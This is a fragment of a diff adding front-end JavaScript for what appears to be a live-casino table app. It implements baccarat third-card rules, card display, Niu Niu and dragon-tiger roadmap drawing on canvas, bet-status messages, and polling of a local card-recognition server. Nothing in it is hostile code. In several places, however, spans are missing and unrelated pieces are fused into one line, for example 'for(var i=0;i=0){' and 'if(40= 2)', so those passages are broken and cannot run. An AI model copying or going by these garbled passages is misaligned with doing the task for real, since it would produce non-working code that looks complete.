whichpoker='banker-card'; + pokerindex=0; + card_info["banker_1"]=data.round.number; + break; + case 23: + whichpoker='banker-card'; + pokerindex=2; + break; + } + }else{ + switch(which){ + case 11: + whichpoker='player-card'; + pokerindex=0; + card_info["player_1"]=data.round.number; + break; + case 21: + whichpoker='banker-card'; + pokerindex=0; + card_info["banker_1"]=data.round.number; + break; + } + } + + if(game_id==1){ + let support = isBopai(card_info); + isShowSupport(support); + } + pokercard = data.round.card; + var $poker = $('.begincard '+'.'+ whichpoker+' .card'); + var pokersrc="/static/handle/faces/"+pokercard+".svg"; + if(pokercard<200){ + var color="#000" + }else if(pokercard<300){ + var color="#f13b3d" + }else if(pokercard<400){ + var color="#000" + }else if(pokercard<500){ + var color="#f13b3d" + } + if(data.round.number == 1){ + data.round.number = "A"; + } + if(data.round.number == 11){ + data.round.number = "J"; + } + if(data.round.number == 12){ + data.round.number = "Q"; + } + if(data.round.number == 13){ + data.round.number = "K"; + } + $poker.eq(pokerindex).find(".topleft").html(data.round.number); + $poker.eq(pokerindex).find(".bottomright").html(data.round.number); + $poker.eq(pokerindex).find(".topleft").css("color",color); + $poker.eq(pokerindex).find(".bottomright").css("color",color); + + if(pokerindex==2){ + $('.begincard '+'.'+ whichpoker +' .draw .rotate').css("display","inline-block"); + $poker.eq(pokerindex).addClass("begin"); + $poker.eq(pokerindex).find(".face").css("background-image","url("+pokersrc+")"); + $(".begincard .banker-card .draw .text").css("text-align","left"); + $(".begincard .player-card .draw .text").css("text-align","right"); + }else{ + $poker.eq(pokerindex).addClass("begin"); + $poker.eq(pokerindex).find(".face").css("background-image","url("+pokersrc+")"); + } + } +} +//百家乐判断是否要博牌 +function isBopai(card_info){ + card_info["length"]=0; + for( var i in card_info) { card_info["length"]++; } + var bopai_info = Array(3); + if(card_info.length<4){ + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + card_info=[]; + return bopai_info; + } + else { + if (card_info['banker_1'] > 10) { + card_info['banker_1'] = 10; + } + if (card_info['banker_2'] > 10) { + card_info['banker_2'] = 10; + } + if (card_info['banker_3'] > 10) { + card_info['banker_3'] = 10; + } + if (card_info['player_1'] > 10) { + card_info['player_1'] = 10; + } + if (card_info['player_2'] > 10) { + card_info['player_2'] = 10; + } + if (card_info['player_3'] > 10) { + card_info['player_3'] = 10; + } + var card_length = card_info.length; + var banker_result = (card_info['banker_1'] + card_info['banker_2']) % 10; + var player_result = (card_info['player_1'] + card_info['player_2']) % 10; + if (card_length == 4) { + if (player_result == 8 || player_result == 9) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + + } + else if (banker_result == 8 || banker_result == 9) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + else if (player_result == 0 || player_result == 1 || player_result == 2 || player_result == 3 || player_result == 4 || player_result == 5) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 1; + + } + else if (banker_result == 0 || banker_result == 1 || banker_result == 2 || banker_result == 3 || banker_result == 4 || banker_result == 5) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + + } + else if (player_result == 6 || player_result == 7) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + + } + } + else if (card_length == 5) { + if (card_info['player_3'] > 0) { + if (banker_result == 0 || banker_result == 1 || banker_result == 2) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (banker_result == 3) { + if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 8) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 4) { + if (card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 5) { + if (card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 6) { + if (card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 7) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } else { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + card_info=[]; + return bopai_info; + } +} +var showCardNn = function(data){ + $(".begincard").fadeIn(function(){ + $(".begincard .box").animate({"opacity":"1"}); + $(".begincard .box1").animate({"top":"100%","opacity":"1"}); + $(".begincard .box2").animate({"top":"100%","opacity":"1"}); + $(".begincard .box3").animate({"top":"100%","opacity":"1"}); + $(".begincard .box4").animate({"top":"100%","opacity":"1"}); + }); + card_number_info = data; + if(card_number_info.length > 0){ + for(var i=0;i=0){ + $('#number_rob_status').val(BetStatus.rob_status); + } + } + $('#number_tab_status').val(BetStatus.bet_status); + if(BetStatus.bet_status==2){ + if (game_id == 6){ + $('.nobegin-tip').html(""); + $('#show-status-span').html(""); + showToningBox(); + } else if(game_id == 7){ + $('.nobegin-tip').html(""); + $('#show-status-span').html(""); + showDiceBox(); + } else { + $(".begincard").fadeIn(function(){ + if(game_id==1||game_id==2){ + $(".begincard .box").animate({"opacity":"1"}); + $(".table-info .nobegin-tip").fadeOut(); + }else if(game_id==4||game_id==5){ + $(".begincard .box").animate({"opacity":"1"}); + $(".begincard .box1").animate({"top":"100%","opacity":"1"}); + $(".begincard .box2").animate({"top":"100%","opacity":"1"}); + $(".begincard .box3").animate({"top":"100%","opacity":"1"}); + $(".begincard .box4").animate({"top":"100%","opacity":"1"}); + } + $('.nobegin-tip').html(""); + $('#show-status-span').html(lang[BetStatus.bet_msg]); + }); + } + }else if(BetStatus.bet_status==1){ + $('.nobegin-tip').html(lang[BetStatus.bet_msg]); + $('#show-status-span').html(""); + }else{ + $('.nobegin-tip').html(lang[BetStatus.bet_msg]); + $('#show-status-span').html(""); + if(game_id == 5||game_id == 4){ + if(BetStatus.rob_status == 1){ + if(BetStatus.rob_status>=0){ + $('#number_rob_status').val(BetStatus.rob_status); + } + $('.nobegin-tip').html('抢庄中'); + }else if(BetStatus.rob_status == 2){ + if(BetStatus.rob_status>=0){ + $('#number_rob_status').val(BetStatus.rob_status); + } + $('.nobegin-tip').html('抢庄结束,开始下注'); + } + } + } +}; +// 获取桌子数据 +var setNumberInfo = function (round){ + number_tab_id = round.number_tab_id + $('#boot_num').html(round.boot_num); + $('#number').html(round.number_tab_number); + $('#boot_id').val(round.boot_id); +}; +// 重置下注数目 +var clearBetAmount = function (){ + $('#banker_amount').html(0); + $('#player_amount').html(0); + $('#tie_amount').html(0); + $('#banker_pair_amount').html(0); + $('#player_pair_amount').html(0); + $('#all_amount').html(0); +}; +//修改或者删除录单后从新获取number +var getNumber = function (){ + var query = new Object(); + query.number_tab_id = number_tab_id; + $.ajax({ + url:"/index/get_number", + type:"POST", + dataType:"JSON", + data:query, + async:false, + success:function(data){ + if(data.status == 1){ + $('#number').html(data.data); + } + } + }) +}; +function nextAudio(){ + num+=1 + if(num 0){ + mp3List = ['time.mp3']; + audioMp3(mp3List).Play(); + } + if(time<=0){ + // mp3List = ['end_rob.mp3']; + // audioMp3(mp3List).Play(); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + webSocket.send('{"connect":"space","mode":"endRob","number_tab_id":"'+parseInt(number_tab_id)+'","table_id":"'+parseInt(table_id)+'"}'); + return; + } +} +function getTime() { + var today = new Date(); + var h = today.getHours(); + var minute = today.getMinutes() + var s = today.getSeconds(); + if (h < 10) { + h = "0" + h; + } + if (minute < 10) { + minute = "0" + minute; + } + if (s < 10) { + s = "0" + s; + } + if(lang.lang == 'en-us'){ + var strDate = new Date(); + strDate = strDate.toDateString() + strDate += " " + h + ":" + minute + ":" + s; + }else if(lang.lang == 'zh-cn'){ + var strDate = (" " + today.getFullYear() + "年" + (today.getMonth() + 1) + "月" + today.getDate() + "日" + h + ":" + minute + ":" + s); + }else if(lang.lang == 'zh-tw'){ + var strDate = (" " + today.getFullYear() + "年" + (today.getMonth() + 1) + "月" + today.getDate() + "日" + h + ":" + minute + ":" + s); + } + var n_day = today.getDay(); + switch (n_day) { + case 0: + var week = lang.sunday; + break; + case 1: + var week = lang.monday; + break; + case 2: + var week = lang.tuesday; + break; + case 3: + var week = lang.wednesday; + break; + case 4: + var week = lang.thursday; + break; + case 5: + var week = lang.friday; + break; + case 6: + var week = lang.saturday; + break; + case 7: + var week = lang.sunday; + break; + } + $('.date .weekend').html(week); + $('.date .time').html(strDate); +} +// 请求所有路单数据,执行画布刷新 +function waybillFunc(){ + var data = new Object; + data.boot_id = $('#boot_id').val(); + data.game_id = game_id; + var url="" + if(game_id==1||game_id==2){url="/index/waybill"} + else if(game_id==4||game_id==5){url="/index/waybill_nn"} + else if(game_id==6){url="/index/waybill_toning"} + $.ajax({ + url:url, + type:"POST", + dataType:"JSON", + data:data, + success:function(data){ + ludan = data; + requestData(ludan); + } + }); +} +function title(ctb,unit,x,y,type){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if(type==1){ + fonts= 'Banker'; + var font_color = '#b20a00'; + }else if(type==2){ + fonts= 'P1'; + var font_color = '#0543bc'; + }else if(type==3){ + fonts= 'P2'; + var font_color = '#0543bc'; + }else if(type==4){ + fonts= 'P3'; + var font_color = '#0543bc'; + } + if(type == 1){ + var color = '#ffad97'; + }else{ + var color = '#73d8f7'; + } + //背景色 + ctb.fillStyle = color ; // 颜色 + ctb.fillRect(x,(y-1)*unit,unit*2-1,unit-0.5); + ctb.fill(); + //文字 + ctb.font=unit*0.5+"px Arial";//字的大小 + ctb.fillStyle = font_color ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,radius+unit*(x/2),radius+unit*(y-1)); + ctb.stroke(); +} +function requestData(data,ask,askroad){ + var ask=ask||false; + var askroad=askroad||{ + "askshowroad":false, + "askbigRoad":false, + "askbigEyeRoad":false, + "askpathway":false, + "askroach":false, + }; + bigH=$(".canvas-box.big").height(); + bigW=$(".canvas-box.big").width(); + // 计算单位 + unitbig=bigH/6; + // 计算列个数 + colbig=Math.floor(bigW/unitbig); + if(game_id==1){ CanvasTable("#canvas3",unitbig,6,colbig,data,ask,askroad);} + else if(game_id==2){CanvasTableDt("#canvas3",unitbig,6,colbig,data,ask,askroad);} + else if(game_id==4||game_id==5){ + unitbig=bigH/8; + colbig=Math.floor(bigW/unitbig); + if(colbig%2 == 1){ + colbig = colbig - 1; + } + CanvasTableNn("#canvas3",unitbig,8,colbig,data); + }else if(game_id==6){CanvasTableToning("#canvas3",unitbig,6,colbig,data,ask,askroad);} +} +/////百家乐珠路 +function CanvasTable(Id,unit,rows,cols,data,ask,askroad){ + var width=unit*cols, + height=unit*rows; + + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j,0); + ctb.lineTo(unit*j,height); + } + ctb.closePath() + ctb.stroke(); + if(data.status){ + switch(true){ + // 判断是否滚动 + case Id=="#canvas3": + var showRoad=data.waybill.showRoad; + if(showRoad!=''){ + var roadType="showWay" + cutRoad(roadType,ctb,unit,showRoad,cols,ask,askroad.askshowroad); + + } + break; + } + } +} +//龙虎珠路 +function CanvasTableDt(Id,unit,rows,cols,data,ask,askroad){ + var width=unit*cols, + height=unit*rows; + + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j,0); + ctb.lineTo(unit*j,height); + } + ctb.closePath() + ctb.stroke(); + if(data.status){ + switch(true){ + // 判断是否滚动 + case Id=="#canvas3": + var showRoad=data.waybill.showRoad; + if(showRoad!=''){ + var roadType="showWay" + cutRoad(roadType,ctb,unit,showRoad,cols,ask,askroad.askshowroad); + + } + break; + } + } +} +//色碟露珠 +function CanvasTableToning(Id,unit,rows,cols,data,ask,askroad){ + var width=unit*cols, + height=unit*rows; + + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j,0); + ctb.lineTo(unit*j,height); + } + ctb.closePath() + ctb.stroke(); + if(data.status){ + switch(true){ + // 判断是否滚动 + case Id=="#canvas3": + var showRoad=data.waybill; + if(showRoad!=''){ + var roadType="showWay" + cutRoad(roadType,ctb,unit,showRoad,cols,ask,askroad.askshowroad); + } + break; + } + } +} +//牛牛珠路 +function CanvasTableNn(Id,unit,rows,cols,data){ + + var width=unit*cols, + height=unit*rows; + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j*2,0); + ctb.lineTo(unit*j*2,height); + } + ctb.closePath() + ctb.stroke(); + + ctb.beginPath(); + ctb.lineWidth = 1.5;//线条宽度 + ctb.strokeStyle = "#000";//线条颜色 + ctb.moveTo(0, unit*4); + ctb.lineTo(width, unit*4); + ctb.moveTo(0, unit*8); + ctb.lineTo(width, unit*8); + ctb.closePath() + ctb.stroke(); + title(ctb,unit,1,1,1); + title(ctb,unit,1,2,2); + title(ctb,unit,1,3,3); + title(ctb,unit,1,4,4); + title(ctb,unit,1,5,1); + title(ctb,unit,1,6,2); + title(ctb,unit,1,7,3); + title(ctb,unit,1,8,4); + // title(ctb,unit,1,9,1); + // title(ctb,unit,1,10,2); + // title(ctb,unit,1,11,3); + // title(ctb,unit,1,12,4); + cutRoadNn(ctb,unit,data.waybill,cols); +} +// 前端路单数据截取 +function cutRoad(roadType,ctb,unit,roadData,cols,ask,askroad){ + var L=roadData.length; + var new_roadData=[]; + var Tab=0 + if(roadType=="showWay"||roadType=="bigWay"){ + if(ask&&askroad){ + Tab=cols; + }else{ + Tab=cols-1; + } + }else{ + if(ask&&askroad){ + Tab=cols-1; + }else{ + Tab=cols-2; + } + } + var start_x=cols/2+0.25; + if(L>=1){ + var last_x=roadData[L-1].show_x + if(last_x>Tab){ + var cut=last_x-Tab + $.each(roadData,function(i,v){ + if(v.show_x>cut){ + new_roadData.push(v) + } + }) + }else{ + new_roadData=roadData; + cut=0; + } + }else{ + new_roadData=roadData; + cut=0; + } + $.each(new_roadData,function(i,v){ + if(roadType=="showWay"){ + SoloPath(ctb,unit,v.show_x-cut,v.show_y,v.result,v.pair) + } + }) +} +////nn 前端路单数据截取 +function cutRoadNn(ctb,unit,data,cols){ + var L=data.length/4; + var new_roadData=[]; + var Tab=0; + last_x = (cols/2-1)*2-1; + if(L > (cols/2-1)*2-1){ + var cut = L - last_x; + $.each(data,function(i,v){ + if(v.show_x>cut){ + new_roadData.push(v) + } + }) + $.each(new_roadData,function(i,v){ + v.show_x = v.show_x - cut; + if(v.show_x<=(cols/2-1)){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + } + }else if(v.show_x<=cols-2){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + } + } + }) + }else{ + if(data){ + $.each(data,function(i,v){ + if(v.show_x<=(cols/2-1)){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + } + }else if(v.show_x<=cols-2){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + } + } + }) + } + } +} +// 局数 数,文字X坐标,文字Y坐标,文字大小风格 +function Font_tie(ctb,num,Font_x,Font_y,fontsize){ + if(num!==undefined){ + ctb.beginPath(); + ctb.font=fontsize; + ctb.textAlign = 'center'; + ctb.textBaseline = 'middle'; + ctb.fillStyle ="#242424"; + ctb.fillText(num,Font_x,Font_y); + ctb.stroke(); + } +} +function SoloPath(ctb,unit,x,y,type,corners){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if (game_id == 6){ + if(type==0){ + var color='#5A5A5A'; + var fonts="0"; + ctb.strokeStyle = "#5A5A5A"; + }else if(type==1){ + var color='#5495F4'; + var fonts="1"; + ctb.strokeStyle = "#5495F4"; + }else if(type==2){ + var color='#70B252'; + var fonts="2"; + ctb.strokeStyle = "#70B252"; + }else if(type==3){ + var color='#F4BB4C'; + var fonts="3"; + ctb.strokeStyle = "#F4BB4C"; + }else if(type==4){ + var color='#E35C4C'; + var fonts="4"; + ctb.strokeStyle = "#E35C4C"; + } + } else { + if(type==1){ + var color='#ff002a'; + var fonts=""; + if(game_id==1){fonts=lang.banker;} + else if(game_id==2){ fonts=lang.dragon;} + ctb.strokeStyle = "#ff4a68"; + }else if(type==2){ + var color='#3a38f0'; + var fonts=""; + if(game_id==1){fonts=lang.player;} + else if(game_id==2){ fonts=lang.tiger;} + ctb.strokeStyle = "#7e7df6"; + }else if(type==3){ + var color='#44d024'; + var fonts=""; + if(game_id==1){fonts=lang.tie;} + else if(game_id==2){ fonts=lang.tie;} + ctb.strokeStyle = "#71df57"; + } + } + + ctb.arc(radius+unit*(x-1), radius+unit*(y-1), unit*0.45, 0, Math.PI * 2); + ctb.fillStyle=color; + ctb.fill(); + ctb.font=unit*0.6+"px Arial"; + ctb.fillStyle ="#fff" ; // 颜色 + ctb.textAlign = 'center'; + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,radius+unit*(x-1),radius+unit*(y-1)); + ctb.stroke(); + var corner_xy=unit/3.5 + if(corners==1){ + corner(ctb,unit,x,y,corner_xy,'#ff2202'); + }else if(corners==2){ + corner(ctb,unit,x,y,-corner_xy,'#0337ff'); + }else if(corners==3){ + corner(ctb,unit,x,y,corner_xy,'#ff2202'); + corner(ctb,unit,x,y,-corner_xy,'#0337ff'); + } +} +//角标 +function corner(ctb,unit,x,y,corner_xy,corner_color){ + var radius=unit/2 + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#fff"; + ctb.arc(radius+unit*(x-1)-corner_xy, radius+unit*(y-1)-corner_xy, unit*0.13, 0, Math.PI * 2); + ctb.fillStyle=corner_color; + ctb.fill(); + ctb.stroke(); +} +/*牛牛*/ +function showPath(ctb,unit,x,y,type,result,is_win){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if(type==1){ + var font_color = '#b20a00'; + }else{ + var font_color = '#1e14d3'; + } + if(result == 0){ + var fonts = 'N0'; + }else if(result == 1){ + var fonts = 'N1'; + }else if(result == 2){ + var fonts = 'N2'; + }else if(result == 3){ + var fonts = 'N3'; + }else if(result == 4){ + var fonts = 'N4'; + }else if(result == 5){ + var fonts = 'N5'; + }else if(result == 6){ + var fonts = 'N6'; + }else if(result == 7){ + var fonts = 'N7'; + }else if(result == 8){ + var fonts = 'N8'; + }else if(result == 9){ + var fonts = 'N9'; + }else if(result == 10){ + var fonts = 'NN'; + }else if(result == 11){ + var fonts = 'WG'; + } + //背景色 + if(is_win == 1){ + if(type == 1){ + ctb.fillStyle = '#b20a00' ; // 颜色 + }else{ + ctb.fillStyle = '#1e14d3' ; // 颜色 + } + ctb.fillRect(unit*x*2,unit*(y-0.25),unit*2,unit*0.25); + ctb.fill(); + win(ctb,unit,x,y); + } + //文字 + ctb.font=unit*0.45+"px Arial";//字的大小 + ctb.fillStyle = font_color ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,2*x*unit+unit,radius+unit*(y-1)); + ctb.stroke(); +} +/*三卡牛牛*/ +function showPath_tc(ctb,unit,x,y,type,result,is_win){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if(type==1){ + var font_color = '#b20a00'; + }else{ + var font_color = '#1e14d3'; + } + if(result == 1){ + var fonts = '牛1'; + }else if(result == 2){ + var fonts = '牛2'; + }else if(result == 3){ + var fonts = '牛3'; + }else if(result == 4){ + var fonts = '牛4'; + }else if(result == 5){ + var fonts = '牛5'; + }else if(result == 6){ + var fonts = '牛6'; + }else if(result == 7){ + var fonts = '牛7'; + }else if(result == 8){ + var fonts = '牛8'; + }else if(result == 9){ + var fonts = '牛9'; + }else if(result == 10){ + var fonts = '牛牛'; + }else if(result == 11){ + var fonts = '豹子'; + }else if(result == 12){ + var fonts = '同花顺'; + }else if(result == 13){ + var fonts = '皇家同花顺'; + } + //背景色 + if(is_win == 1){ + if(type == 1){ + ctb.fillStyle = '#b20a00' ; // 颜色 + }else{ + ctb.fillStyle = '#1e14d3' ; // 颜色 + } + ctb.fillRect(unit*x*2,unit*(y-0.25),unit*2,unit*0.25); + ctb.fill(); + win(ctb,unit,x,y); + } + //文字 + if(result == 13){ + ctb.font=unit*0.38+"px Arial";//字的大小 + }else{ + ctb.font=unit*0.45+"px Arial";//字的大小 + } + + ctb.fillStyle = font_color ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,2*x*unit+unit,radius+unit*(y-1)); + ctb.stroke(); +} +function win(ctb,unit,x,y){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + fonts = 'WIN'; + ctb.font=unit*0.25+"px Arial";//字的大小 + ctb.fillStyle = '#fff' ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,2*x*unit+unit,unit*(y-0.11)); + ctb.stroke(); +} +function flop_position(data){ + pokercard=data.round.card; + pokersrc="/static/poker/"+pokercard+".png"; + $('.begincard .position-card .card').css("opacity",1); + $('.begincard .position-card .card').find(".face").css("background-image","url("+pokersrc+")"); + pokercard = parseInt(pokercard); + var _position = (pokercard % 100) % 4; + switch (_position) { + case 0: + $('.box1').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + case 1: + $('.box2').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + case 2: + $('.box3').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + case 3: + $('.box4').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + } +} +function flop_card(data){ + order_num = data.round.order_num; + card_cow = order_num.substring(0,1); + card_list = order_num.substring(1,2) - 1; + if(card_cow == 1){ + box_name = 'player-1-card'; + if(data.round.result){ + $('.player_1_result').html(data.round.result); + } + }else if(card_cow == 2){ + box_name = 'player-2-card'; + if(data.round.result){ + $('.player_2_result').html(data.round.result); + } + }else if(card_cow == 3){ + box_name = 'player-3-card'; + if(data.round.result){ + $('.player_3_result').html(data.round.result); + } + }else if(card_cow == 4){ + box_name = 'banker-card'; + if(data.round.result){ + $('.banker_result').html(data.round.result); + } + } + if(40= 2) { + query.card = poker; + query.position = position[card.index - 1]; + + sendScanBaccarat(query); + + } else { + if (_cardRecord['card'] != poker) { + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[card.index] = _cardRecord; + } + } + } + } + + } + }); + //} + + }, 250); + + console.log('scan cards stop...'); +} + +function doDtScanCards() { + var card = new Object(); + card.casinoTableId = casinoTableId; + + // 用局部变量 + var cardScanRecord = new Array(); + //var scanPosition = 1; + + var dtPosition = [21, 11]; + + card.count = 2; + + var api = '/recognition_multi'; + + scanTask = setInterval(function() { + console.log('scan cards start...'); + + //if(!stopScan){ + $.ajax({ + url: localSbServer + api, + type: 'POST', + dataType: 'JSON', + data: JSON.stringify(card), + success: function(data) { + if (data.code == '2000') { + console.log(data.poker); + + // Dragon: 21 + // Tiger: 11 + + var cards = spCard(data.poker); + cards.forEach(function (v, k) { + var query = new Object(); + + if (!v.includes('n')) { + if (cardScanRecord[k] === undefined) { + var _cardRecord = new Object(); + _cardRecord['card'] = v; + _cardRecord['time'] = 1; + cardScanRecord[k] = _cardRecord; + } else { + _cardRecord = cardScanRecord[k]; + if (_cardRecord['card'] == v && _cardRecord['time'] >= 2) { + query.card = v; + query.position = dtPosition[k]; + + sendScanDt(query); + + } else { + if (_cardRecord['card'] != v) { + _cardRecord['card'] = v; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[k] = _cardRecord; + } + } + } + + }); + + } + + } + }); + //} + + }, 200); + + console.log('scan cards stop...'); +} + +function doNnScanPositionCard() { + var card = new Object(); + card.casinoTableId = casinoTableId; + card.index = 21; //先扫定位牌 + var cardScanRecord = new Array(); + + var api = '/recognition'; + + positionScanTask = setInterval(function() { + console.log('scan postion[21] card start...postion:' + scanPosition); + $.ajax({ + url: localSbServer + api, + type: 'POST', + dataType: 'JSON', + data: JSON.stringify(card), + success: function(data) { + + if (data.code == '2000') { + console.log(data.poker); + if (!data.poker.includes('n')) { + var poker = formatCardData(data.poker); + var query = new Object(); + query.card = poker; + if (cardScanRecord[card.index] === undefined) { + var _cardRecord = new Object(); + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + cardScanRecord[card.index] = 